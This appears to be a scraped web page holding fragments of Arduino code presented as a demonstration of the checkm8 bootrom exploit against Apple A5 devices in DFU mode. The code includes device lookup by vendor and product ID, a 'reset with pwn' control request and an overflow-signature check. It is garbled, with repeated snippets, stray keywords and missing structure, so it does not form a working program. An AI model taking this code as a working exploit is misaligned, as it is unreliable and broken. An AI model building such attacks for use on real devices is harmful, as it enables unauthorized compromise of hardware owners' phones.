A5 Checkm8 — Arduino

/* * checkm8 A5 demonstration for Arduino (USB Host Shield) * * This shows the principles only: * - Sending malformed USB control transfers * - Triggering the USB DFU buffer overflow * * Actual exploit requires: * - Native USB host with precise timing * - Sending specific USB requests with crafted descriptors * - Loading and executing ARM shellcode */ #include <USBHost.h> #include <Usb.h>

// USB request codes for DFU mode #define USB_REQ_GET_DESCRIPTOR 0x06 #define USB_DT_DEVICE 0x01 #define USB_DT_CONFIG 0x02 #define USB_DT_STRING 0x03 arduino a5 checkm8

// Step 3: Trigger reboot with pwned flag setup.bRequest = 0xFF; // Reset with pwn setup.wValue = 0x1; device->ctrlReq(&setup, nullptr, 0); /* * checkm8 A5 demonstration for Arduino (USB

// Find a DFU device (VendorID 0x05AC, ProductID 0x1227) device = usb.getDeviceByVendorProduct(0x05AC, 0x1227); void loop() usb.Task()

void loop() usb.Task();

if (usb.Init() == -1) Serial.println("USB Host init failed"); while(1);

// Check for overflow signature (simplified) for (int i = 0; i < transferred - 4; i++) if (*(uint32_t*)(buffer + i) == CHECKM8_MAGIC1) Serial.println("Heap overflow confirmed!"); break;